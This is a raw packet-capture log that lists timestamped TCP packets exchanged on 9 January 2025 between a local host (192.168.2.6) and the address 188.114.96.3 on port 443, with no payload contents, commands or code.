Jan 9, 2025 09:31:21.014452934 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.014508963 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.014791965 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.014844894 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.040380001 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.040420055 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.040438890 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.040450096 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.040543079 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.053884983 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.053899050 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.053963900 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.053972960 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.054033041 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.054258108 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.054331064 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.054517031 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.054567099 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.054579020 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.054583073 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.054605961 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.073875904 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.073916912 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.073944092 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.073955059 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.073987961 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.074479103 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.074493885 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.074552059 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.074558973 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.075355053 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.075393915 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.075443983 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.075449944 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.075506926 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.098963022 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.098978043 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.099055052 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.099066019 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.099101067 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.101108074 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.101125956 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.101185083 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.101191998 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.101231098 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.127613068 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.127631903 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.127682924 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.127696037 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.127723932 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.127739906 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.140711069 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.140733957 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.140783072 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.140796900 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.140831947 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.140841961 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.141237020 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.141252995 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.141288996 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.141294956 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.141321898 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.141349077 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.160563946 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.160590887 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.160640955 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.160650015 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.160691023 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.161333084 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.161349058 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.161391020 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.161396027 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.161427975 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.161437035 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.162095070 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.162111044 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.162158012 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.162164927 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.162353039 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.185801029 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.185816050 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.185874939 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.185884953 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.185945988 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.188085079 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.188114882 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.188149929 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.188157082 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.188182116 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.188203096 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.214456081 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.214529991 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.214539051 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.227365017 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.227380991 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.227442026 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.227451086 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.227948904 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.227963924 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.228029013 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.228037119 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.247422934 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.247440100 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.247565031 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.247565031 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.247577906 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.248074055 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.248087883 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.248138905 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.248146057 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.248608112 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.248621941 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.248672009 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.248678923 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.272319078 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.272335052 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.272380114 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.272391081 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.272424936 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.273112059 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.273130894 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.273184061 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.273190022 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.301186085 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.301204920 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.301269054 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.301282883 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.314341068 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.314359903 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.314493895 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.314493895 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.314503908 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.314937115 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.314958096 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.314996958 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.315006018 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.315028906 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.334306002 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.334323883 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.334490061 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.334501028 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.334778070 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.334791899 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.334844112 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.334851027 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.335755110 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.335767984 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.335829973 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.335835934 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.335969925 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.336021900 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.336026907 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.359612942 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.359630108 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.359661102 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.359683990 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.359694004 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.359730005 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.387964964 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.387980938 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.388015032 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.388044119 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.388051033 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.388092995 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.401106119 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.401156902 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.401185036 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.401191950 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.401222944 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.401279926 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.401323080 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.401326895 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.421055079 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.421077967 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.421109915 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.421116114 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.421143055 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.421159029 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.421165943 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.421175957 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.421196938 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.421804905 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.421849966 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.421869993 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.421875000 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.421907902 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.421928883 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.422368050 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.422398090 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.422424078 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.422427893 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.422452927 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.422472000 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.422574043 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.422626019 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.422626972 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.422636032 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.422666073 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.446326971 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.446343899 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.446399927 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.446405888 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.446439028 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.446634054 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.446692944 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.448436975 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.448476076 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.448497057 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.448501110 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.448527098 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.448540926 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.475306034 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.475330114 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.475392103 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.475406885 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.475456953 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.487920046 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.487987995 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.488375902 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.488413095 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.488440037 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.488445044 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.488487005 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.508107901 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.508122921 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.508182049 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.508189917 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.508500099 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.508552074 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.508558035 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.508883953 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.508898020 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.508971930 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.508977890 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.509452105 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.509483099 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.509521008 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.509526014 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.509562016 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.532962084 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.532977104 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.533024073 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.533032894 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.533072948 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.533097982 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.533586025 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.533601046 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.533658981 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.533670902 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.533719063 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.535425901 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.535485983 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.535492897 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.562230110 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.562244892 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.562302113 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.562316895 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.562326908 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.575570107 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.575603008 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.575627089 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.575634003 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.575670958 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.594870090 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.594887972 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.594933033 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.594939947 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.594950914 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.594980001 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.594985008 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.594994068 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.595021009 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.595407963 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.595422983 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.595485926 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.595491886 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.595546007 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.596240044 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.596266985 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.596354961 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.596354961 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.596359968 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.596482038 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.619788885 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.619815111 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.619853020 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.619859934 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.619889975 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.619908094 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.620364904 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.620383978 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.620423079 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.620429039 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.620459080 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.620488882 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.620575905 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.620637894 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.620645046 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.648577929 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.648593903 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.648667097 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.648675919 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.661804914 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.661824942 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.661912918 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.661926031 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.662074089 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.662125111 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.662128925 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.681632042 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.681649923 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.681683064 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.681695938 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.681704044 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.681750059 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.682025909 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.682060957 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.682089090 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.682094097 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.682120085 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.682137966 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.682635069 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.682651043 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.682749033 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.682754040 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.682794094 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.683259010 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.683278084 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.683331013 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.683336020 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.683374882 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.707113028 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.707129955 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.707192898 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.707201958 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.707235098 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.707576036 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.707601070 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.707628965 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.707633018 CET	443	49723	188.114.96.3	192.168.2.6
